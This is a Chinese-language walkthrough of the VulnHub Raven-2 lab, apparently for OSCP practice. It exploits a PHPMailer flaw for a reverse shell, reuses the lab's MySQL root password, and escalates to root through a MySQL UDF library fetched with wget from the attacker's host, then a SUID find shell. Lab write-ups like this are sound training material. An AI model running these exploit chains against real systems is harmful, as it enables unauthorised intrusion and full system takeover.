【OSCP-vulnhub】Raven-2
目录
端口扫描
本地/etc/hosts文件解析
目录扫描:
第一个flag
利用msf下载exp
flag2
flag3
Mysql登录
查看mysql的运行权限
MySql提权:UDF
查看数据库写入条件
查看插件目录
查看是否可以远程登录
gcc编译.o文件
创建so文件
创建临时监听
执行sql语句
创建数据表feng
插入数据文件
导出数据
创建自定义函数do_system
查询一下添加的函数
利用do_system给find命令赋予suid权限
find命令提权
The end(获取flag)
flag4{df2bc5e951d91581467bb9a2a8ff4425}
端口扫描
nmap -sS -p- 192.168.56.105 -sV -A --version-all -sC
 
 

访问网站发现没什么可关注的点,点到blog的时候显示不可访问

这个时候就联想到了
本地/etc/hosts文件解析
就能正常访问了。。

目录扫描:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.56.105
 
 

诶嘿,扫出了蛮多个目录的
在/vendor/PATH发现
第一个flag

在readme发现很多关于PHPMailer的信息

以及http://192.168.56.105/vendor/VERSION在这里面提示版本为5.2.16
我们随即便去查找一下相关的exp
利用msf下载exp

修改代码
依次修改可以发送邮件的路径,要定义的后门文件/shell.php,要回连的地址以及端口,还有网站的后门文件保存路径

python 40974.py
 
 
接着访问/contact.php触发后门文件再访问/shell.php就可以进行反弹shell。。。

建立交互式终端
python -c 'import pty;pty.spawn("/bin/bash")'
 
查找flag
find / -name flag* 
 
找到两个有关flags的信息
-  
/var/www/flag2.txt
 -  
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
 
flag2
cat /var/www/flag2.txt
 
 

flag3

接着在wordpress目录发现数据库密码

用户名:root,密码:R@v3nSecurity
Mysql登录
mysql -uroot -pR@v3nSecurity
 
mysql> show databases;
 
+--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | wordpress | +--------------------+
mysql> use wordpress
 
mysql> show tables;
 
+-----------------------+ | Tables_in_wordpress | +-----------------------+ | wp_commentmeta | | wp_comments | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | +-----------------------+
select * from wp_users;
 
michael | BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven | B6X3H3ykawf2oHuPsbjQiih5iJXqad.
查看mysql的运行权限
是root权限在运行
ps -aux | grep mysql
 
MySql提权:UDF
查看数据库写入条件
show global variables like 'secure%';
 
+------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | OFF | | secure_file_priv | | +------------------+-------+
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权! 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
查看插件目录
show variables like '%plugin%';
 
+---------------+------------------------+ | Variable_name | Value | +---------------+------------------------+ | plugin_dir | /usr/lib/mysql/plugin/ | +---------------+------------------------+
查看是否可以远程登录
use mysql
 
select user,host from user;
 
+------------------+-----------+ | user | host | +------------------+-----------+ | root | 127.0.0.1 | | root | ::1 | | debian-sys-maint | localhost | | root | localhost | | root | raven | +------------------+-----------+
发现root用户不允许远程登录,所以不能使用MSF提权
searchsploit udf
 
 

gcc编译.o文件
gcc -g -c 1518.c
 
创建so文件
gcc -g -shared -Wl,-soname,exp.so -o exp.so 1518.o -lc
 
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-Wl,-soname,exp.so
-Wl表示将后续参数传递给链接器(ld)。
-soname,exp.so设置动态库的 内部名称(SONAME),影响动态链接时的库查找行为。
-o:执行命令后的文件名
-lc:-l 库 c库名
创建临时监听
python -m http.server 8080
 
wget http://192.168.56.103:8080/1518.so -O test.so
 
执行sql语句
use mysql;
 
创建数据表feng
create table feng(line blob);
 
插入数据文件
insert into feng values(load_file('/tmp/test.so'));
 
导出数据
-  
outfile 多行导出,dumpfile一行导出
select * from feng into dumpfile '/usr/lib/mysql/plugin/test.so'; 
创建自定义函数do_system
(或者sys_exec)类型是integer,别名(soname)文件名字
create function do_system returns integer soname 'test.so';
 
查询一下添加的函数
select * from mysql.func;
 
利用do_system给find命令赋予suid权限
select do_system('chmod u+s /usr/bin/find');
 
find命令提权
创建一个文件:touch feng
find / -name feng -exec "/bin/sh" \;
 
id uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
The end(获取flag)
cd /rootlscat flag4.txt  
 
flag4{df2bc5e951d91581467bb9a2a8ff4425}
好啦,本文的内容就到这了,希望对你有所帮助。。
